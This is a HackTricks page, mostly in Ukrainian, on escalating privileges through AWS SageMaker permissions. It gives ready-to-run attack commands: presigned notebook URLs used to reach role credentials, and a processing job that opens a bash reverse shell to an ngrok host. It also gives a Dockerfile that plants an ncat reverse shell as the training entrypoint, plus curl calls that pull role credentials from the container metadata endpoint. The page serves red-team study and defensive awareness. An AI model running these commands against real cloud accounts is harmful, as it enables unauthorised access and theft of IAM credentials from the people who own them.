AWS - Sagemaker Privesc
Reading time: 5 minutes
AWS - Sagemaker Privesc
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
iam:PassRole
, sagemaker:CreateNotebookInstance
, sagemaker:CreatePresignedNotebookInstanceUrl
Почніть створювати нотатник з IAM роллю, яка до нього прикріплена:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Відповідь повинна містити поле NotebookInstanceArn
, яке міститиме ARN новоствореного екземпляра блокнота. Потім ми можемо використовувати API create-presigned-notebook-instance-url
, щоб згенерувати URL, який ми можемо використовувати для доступу до екземпляра блокнота, як тільки він буде готовий:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Перейдіть за URL-адресою в браузері та натисніть на `Open JupyterLab` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”.
Тепер можливо отримати доступ до облікових даних метаданих IAM Role.
Potential Impact: Privesc до ролі сервісу sagemaker, що вказана.
sagemaker:CreatePresignedNotebookInstanceUrl
Якщо на ньому вже запущені Jupyter ноутбуки і ви можете їх перерахувати за допомогою sagemaker:ListNotebookInstances
(або виявити їх будь-яким іншим способом). Ви можете згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Потенційний вплив: Привілейоване підвищення до ролі служби sagemaker.
sagemaker:CreateProcessingJob,iam:PassRole
Зловмисник з цими дозволами може змусити sagemaker виконати обробку з прикріпленою роллю sagemaker. Зловмисник може вказати визначення контейнера, який буде запущено в управляємому AWS ECS обліковому записі, і викрасти облікові дані прикріпленої ролі IAM.
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
Потенційний вплив: Privesc до ролі служби sagemaker.
sagemaker:CreateTrainingJob
, iam:PassRole
Зловмисник з цими дозволами зможе створити навчальну задачу, запускаючи довільний контейнер на ній з прикріпленою роллю. Отже, зловмисник зможе вкрасти облікові дані ролі.
warning
Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі).
# Створити образ docker
mkdir /tmp/rev
## Зверніть увагу, що навчальна задача буде викликати виконуваний файл під назвою "train"
## Ось чому я поміщаю rev shell у /bin/train
## Встановіть значення <YOUR-IP-OR-DOMAIN> та <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF
cd /tmp/rev
sudo docker build . -t reverseshell
# Завантажити його в ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
Потенційний вплив: Privesc до ролі служби sagemaker.
sagemaker:CreateHyperParameterTuningJob
, iam:PassRole
Зловмисник з цими дозволами зможе (потенційно) створити роботу з навчання гіперпараметрів, запускаючи довільний контейнер з прикріпленою роллю.
Я не експлуатував через брак часу, але це виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.